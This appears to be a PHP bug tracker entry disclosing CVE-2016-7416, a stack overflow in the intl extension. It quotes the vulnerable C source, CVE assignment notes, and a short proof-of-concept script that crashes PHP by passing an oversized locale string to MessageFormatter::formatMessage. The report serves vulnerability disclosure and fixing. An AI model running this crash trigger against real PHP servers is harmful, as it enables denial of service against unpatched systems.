Submitted: 2016-09-03 05:59 UTC Modified: 2016-09-16 13:40 UTC
From: fernando at null-life dot com Assigned: stas (profile)
Status: Closed Package: intl (PECL)

Private report: No CVE-ID: 2016-7416

Description:
------------
Big locale string causes stack based overflow inside libicu. PHP could mitigate this issue limiting length of the locale to a valid value.

---------------------------------------------------------------------------
Source code:
https://github.com/php/php-src/blob/PHP-7.0.10/ext/intl/msgformat/msgformat_format.c#L98

PHP_FUNCTION( msgfmt_format_message )
{
    zval       *args;
    UChar      *spattern = NULL;
    int         spattern_len = 0;
    char       *pattern = NULL;
    size_t      pattern_len = 0;
    const char *slocale = NULL;
    size_t      slocale_len = 0;
    MessageFormatter_object mf;
    MessageFormatter_object *mfo = &mf;

    /* Parse parameters. */
    if( zend_parse_method_parameters( ZEND_NUM_ARGS(), getThis(), "ssa",
          &slocale, &slocale_len, &pattern, &pattern_len, &args ) == FAILURE )
    {
        intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR,
            "msgfmt_format_message: unable to parse input params", 0 );

        RETURN_FALSE;
    }

    memset(mfo, 0, sizeof(*mfo));
    msgformat_data_init(&mfo->mf_data);

    if(pattern && pattern_len) {
        intl_convert_utf8_to_utf16(&spattern, &spattern_len, pattern, pattern_len, &INTL_DATA_ERROR_CODE(mfo));

Test script:
---------------
<?php

ini_set('memory_limit', -1);

$v1 = str_repeat("ABCE", 503566756/3);
$v2 = "test";
$v3 = [];

MessageFormatter::formatMessage($v1, $v2, $v3);
// msgfmt_format_message($v1, $v2, $v3);

Expected result:
----------------
no crash

Actual result:
--------------

CVE assignment info:

The related upstream code can be found in the
http://source.icu-project.org/repos/icu/icu/trunk/source/common/locid.cpp
file.

What we will do for now is assign one CVE ID for the "ICU for C/C++"
product and a separate CVE ID for PHP. In other words, the bug #73007
discoverer has indicated that it is a bug in that ICU product.
However, it is a bug at a different level within the PHP distribution,
because 6d55ba265637d6adf0ba7e9c9ef11187d1ec2f5b implies that PHP is
intended to operate safely even with an unpatched copy of the ICU
library.

Use CVE-2016-7415 for ICU for C/C++.

Use CVE-2016-7416 for PHP.

(If there happens to be further information indicating that locid.cpp
was supposed to behave as originally written, then we can reject
CVE-2016-7415.)
